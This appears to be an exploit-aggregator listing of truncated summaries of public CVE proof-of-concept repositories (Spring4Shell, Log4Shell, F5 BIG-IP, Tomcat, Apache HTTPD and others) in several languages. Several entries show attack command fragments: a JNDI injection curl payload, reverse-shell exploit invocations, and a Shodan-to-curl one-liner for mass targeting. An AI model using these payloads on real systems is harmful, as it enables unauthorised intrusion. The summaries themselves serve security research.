CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc including reverse-shell and password support. Feel free to add more stuff : How to test? root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3...

CVE-2024-46451

CVE-2024-46451 TOTOLINK AC1200 T8 エクスプロイト - バッファオーバーフローの脆弱性 このリポジトリには、TOTOLINK AC1200 T8 バージョン v4.1.5cu.861B20230220 の setWiFiAclRules 関数における desc パラメータを介したバッファオーバーフローの脆弱性を悪用するPythonスクリプトが含まれています。 脆弱性の詳細 脆弱性タイプ : バッファオーバーフロー 影響を受ける関数 : setWiFiAclRules 影響を受けるバージョン : TOTOLINK AC1200 T8...

cve-2023-46747

CVE-2023-46747 利用脚本 此脚本利用 F5 BIG-IP TMUI 远程代码执行漏洞 CVE-2023-46747 。它允许未认证的攻击者在易受攻击的 F5 BIG-IP 系统上执行任意命令。 目录 特性 环境要求 使用方法 参数 工作原理 免责声明 特性 未认证用户创建： 在目标系统上生成一个用户。 令牌获取： 使用创建的用户获取认证令牌。 远程命令执行： 在目标系统上执行任意 shell 命令。 环境要求 Python 3.8+ 模块： argparse binascii json random requests time urllib3 使用 pip 安装缺失的模块：...

CVE-2024-46377

CVE-2024-46377 PoC para la Vulnerabilidad de Carga de Archivos Arbitraria en Best House Rental Management System 1.0 Descripción general Este script de Python demuestra cómo explotar la vulnerabilidad de carga de archivos arbitraria en Best House Rental Management System 1.0. La vulnerabilidad...

SMB-LINUX-CVE-2025-37899

Linux内核ksmbd中的释放后使用漏洞 CVE-2025-37899 描述 已在Linux内核的ksmbd模块中发现一个 释放后使用 漏洞，该模块负责实现用于网络文件交换的SMB（服务器消息块）协议。此漏洞标识为CVE-2025-37899，可能允许以高权限远程执行代码。 介绍 该发现由研究员Sean Heelan使用OpenAI的o3模型完成，展示了人工智能在识别复杂漏洞方面的潜力。该漏洞存在于对SMB2/3的logoff命令的处理中，可在特定竞争条件下被利用。 技术细节 漏洞描述 释放后使用...

MultiExploit

多服务漏洞扫描器 支持的漏洞与攻击向量 Microsoft SQL Server 漏洞 CVE-2023-21173 ：SQL Server 2022 中的远程代码执行 潜在利用： 弱认证配置 错误配置的服务器主体 xpcmdshell 滥用 高级选项操作 常见漏洞类别 1. 认证绕过 弱/默认凭据 空密码尝试 错误配置的认证机制 2. 服务枚举 FTP 匿名访问 开放的数据库端口 暴露的服务信息 3. 潜在攻击面 MSSQL 远程命令执行 FTP 信息泄露 网络服务指纹识别 目标服务 Microsoft SQL Server FTP 服务 Windows 远程管理 WinRM...

nexus_rce_CVE-2019-7238

nexusrceCVE-2019-7238 Some debug notes and exploitnot blind Exploit 使用burpsuite，修改请求中的ls / -al即可，注意双引号会被替换成单引号 root@kitploit: POST /service/extdirect HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.14; rv:63.0 Gecko/20100101 Firefox/63.0 Accept: / Content-Type:...

CVE-2024-23692

Rejetto HTTP File Server HFS 未授权 RCE 漏洞复现 CVE-2024-23692 简介 Rejetto HTTP File Server HFS 是一个轻量级的 HTTP 文件服务器，广泛用于文件共享和文件传输。CVE-2024-23692 漏洞是一个模板注入漏洞，允许远程、未经身份验证的攻击者通过发送特制的 HTTP 请求在受影响的系统上执行任意命令。截至 CVE 分配日期，Rejetto HFS 2.3m 不再受支持。 漏洞详情 CVE 编号 : CVE-2024-23692 漏洞类型 : 模板注入漏洞，远程代码执行 RCE 影响版本 : Rejett...

CVE-2022-1388

CVE-2022-1388 远程代码执行、反弹Shell及自动导出PCAP -- 仅供教育用途 -- 作者不对使用本项目或仓库中的任何方面所采取的任何行为负责或承担责任。我创建此项目是为了理解该攻击以及在SIEM中编写检测规则，并希望分享给其他人以做同样的事情。使用风险自负。 此漏洞利用程序针对F5 Systems的BIG-IP iControl REST漏洞CVE-2022-1388。请参阅F5公告（https://support.f5.com/csp/article/K23605346）了解受影响版本及其他信息。 欢迎提交PR或报告任何问题。此程序已在Google...

CVE-2024-50379-POC

CVE-2024-50379 の悪用とPOC このリポジトリは、Apache Tomcat に影響を与える脆弱性 CVE-2024-50379 の Proof of Concept（POC）を提供します。この問題は Time-of-Check Time-of-Use（TOCTOU）競合状態 を引き起こし、特に Windows のような大文字小文字を区別しないファイルシステム上で リモートコード実行（RCE） につながる可能性があります。 目次 説明 POC 使用方法 セキュリティに関する考慮事項 ライセンス 説明 CVE-2024-50379 は、TOCTOU...

log4j2-rce-poc

Log4j2 RCE脆弱性の概念実証 Log4j2 JNDIリモートコード実行脆弱性（CVE-2021-44228）の最小限の概念実証です。これは教育目的であり、セキュリティ研究者でない人々がその仕組みと影響の大きさを理解するのに役立つことを意図しています。 このPOCは、com.sun.jndi.rmi.object.trustURLCodebaseおよびcom.sun.jndi.cosnaming.object.trustURLCodebaseプロパティをtrueに設定する要件を回避します。これらのプロパティは8u121、7u131、6u141以降デフォルトで無効化されました。 前提...

CVE-2023-36158

CVE-2023-36158 Cross Site Scripting XSS vulnerability in sourcecodester Toll Tax Management System 1.0 allows remote attackers to run arbitrary code via the First Name and Last Name fields on the My Account page...

cve-2021-44228--spring-hibernate

CVE-2021-44228 実証コード - Spring / Hibernate この実証コードは Spring / Hibernate を使用していますが、rmi - デシリアライゼーションの同様のアプローチは、あらゆるデシリアライゼーションの脆弱性をトリガーするために使用できます TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 被害者の...

CVE-2024-10542

CVE-2024-10542 和 CVE-2024-10781 的 PoC：CleanTalk 插件（版本 = 6.43.2）中的认证绕过漏洞 免责声明： 本文档中关于 CVE-2024-10542 的信息仅供学习和教育目的。我们不鼓励或授权将此信息用于任何有害目的，包括但不限于漏洞利用、系统篡改或其他非法活动。 简介： 在日益复杂的数字环境中，确保网站安全对许多站点所有者至关重要。最近，发现两个严重漏洞，对 WordPress 站点构成重大威胁。这些漏洞影响知名的 CleanTalk 插件，该插件提供垃圾邮件防护、反垃圾邮件功能和防火墙。情况为何更加紧迫？让我们深入探讨！ 跟踪为...

cve-2021-44228-rce-poc

CVE-2021-44228 リモートコマンド実行 PoC このリポジトリは、セキュリティ研究者がリモートコード実行を実験できるように、脆弱なアプリケーション（log4jを含む）にカスタムエクスプロイトをロードする攻撃サーバーの実装を提供します。 ⚠️ このツールは自己評価を目的としており、許可された人物または研究者のみが使用すべきです。 許可または権限が明示されているシステムのみをテストしてください。脆弱なアプリケーションやライブラリを見つけた場合は、責任ある開示を実行すべきです。 RCE の手順 CVE-2021-44228 は、JNDI LDAP...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 利用程序/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP 上传绕过 / 远程代码执行（适用于 Python3 ） 我只对原始脚本做了一些调整，使其兼容 Python 3！ 如果遇到任何问题或麻烦，可以随时给我发邮件 [email protected]，或者如果你愿意也可以直接找我。 不要评判我的邮箱，它只是个临时账号 使用方法 ./cve-2017-12617.py 选项 选项： -u ,--url :: 检查目标 URL 是否存在漏洞 -p,--pwn :: ...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 配置 使用 docker ngrok 对 CVE-2018-11235-Git 进行 PoC 与隧道穿透 构建 Dockerfile root@kitploit: $ docker build -t cve-2018-11235 . 为 ngrok 创建自定义网络 root@kitploit: $ docker network create myngroknet 启动 Git HTTP 服务器 root@kitploit: $ docker run -d -p 8080:80 --net...

cve-2022-24112

Apache APISIX 2.12.1 リモートコード実行とDocker Lab git clone を使ってこのリポジトリをクローンし、apisix-docker/examples に移動しましょう。この docker-compose.yml ファイルでは、すでに image: apache/apisix:2.12.0-alpine に変更しています。なぜなら、このバージョンに脆弱性が存在するからです。それでは、docker compose を使ってインストールしましょう。 docker-compose によるクイックスタート: docker-compose...

mantis_rce

mantisrce Mantis Bug Tracker バージョン 1.2.x 以前でRCEを取得するPythonスクリプト 詳細はCVE-2008-4687を確認してください。...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTP服务器中的路径遍历零日漏洞被利用 Apache HTTP服务器CVE-2021-41773在野外被利用 CVE-2021-42013: Apache HTTP服务器2.4.49和2.4.50中的路径遍历与远程代码执行（CVE-2021-41773的不完整修复） Shodan 一行命令 root@kitploit: shodan search Apache Server 2.4.49 | awk 'print $1":"$2' | while read host do ; do curl --silent...